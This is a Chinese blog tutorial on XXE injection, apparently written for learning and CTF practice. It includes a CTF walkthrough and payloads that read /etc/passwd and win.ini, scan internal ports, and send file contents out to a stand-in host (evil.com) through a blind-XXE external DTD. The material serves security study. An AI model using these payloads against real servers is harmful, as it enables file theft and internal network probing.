XXE漏洞学习
0x00前言
早上看到某篇公众号的文章发了一篇XXE漏洞挖到个星巴克,拿到了一手奖金。决定晚上瞧一下这个洞
0x01漏洞产生的原因
XXE又叫XML外部实体注入(XML External Entity Injection)
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
XML基础
在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具
0x02XML简单的用法
<!ENTITY 实体名称 "实体的值">
外部实体:
<!ENTITY 实体名称 SYSTEM "URI">
参数实体:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
实例演示:除参数实体外实体+内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>
实例演示:参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。
外部实体
外部实体即在DTD中使用
<!ENTITY 实体名称 SYSTEM "URI">
语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:
实例演示:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ //定义一个外部名称
<!ENTITY content SYSTEM "file:///etc/passwd">]> // SYSTEM "file:///xxxx"用于读取文件
<foo> //定义标签 标签名可以随便输入,也可以和外名称对应
<value>&content;</value>
</foo>
得带Content-Type: application/xml头,如果请求头类似于:Content-Type: application/json,那么可以改为Content-Type: application/xml试试有没有xml漏洞
0x003实战XXE
这里找来一道CTF的题,BWAPP搭建出来的XXE好像有问题。和文章用一样的操作得出来的结果不符合
题目地址:web.jarvisoj.com:9882
抓包一手得到发现是如下请求的
将Content-Type
改为Content-Type: application/xml
,发送以下内容探测是否存在XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sb [
<!ENTITY xxe "XXE Test"> //XXE Test是输出的内容 xxe可以为理解为一个变量
]>
<em> //乱取个名就好
&xxe; //理解为引用变量地址输出
</em>
读取文件测试
读取flag文件
由于这里是py的环境没有办法测试更多
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44
Server: Werkzeug/0.9.4 Python/2.7.6
Date: Wed, 27 Nov 2019 15:37:08 GMT
<em>
CTF{XxE_15_n0T_S7range_Enough}
</em>
这里就直接列出来
ML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
]>
<root><foo>&content;</foo></root>
端口扫描
加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。
私有类型DTD加载:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共类型DTD加载:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY portscan SYSTEM "http://localhost:3389">
]>
<root><foo>&portscan;</foo></root>
blind xxe漏洞:
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
利用DTD进行数据回显
有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">
%dtd;
%send;]>
<root></root>
evil.dtd
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">
%payload;
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容
0x04参考链接
https://www.cnblogs.com/vincebye/p/7199290.html
https://www.freebuf.com/articles/web/177979.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:XXE漏洞学习
本文作者:九世
发布时间:2019-11-27, 23:06:26
最后更新:2019-11-27, 23:39:59
原始链接:http://jiushill.github.io/posts/8867b076.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。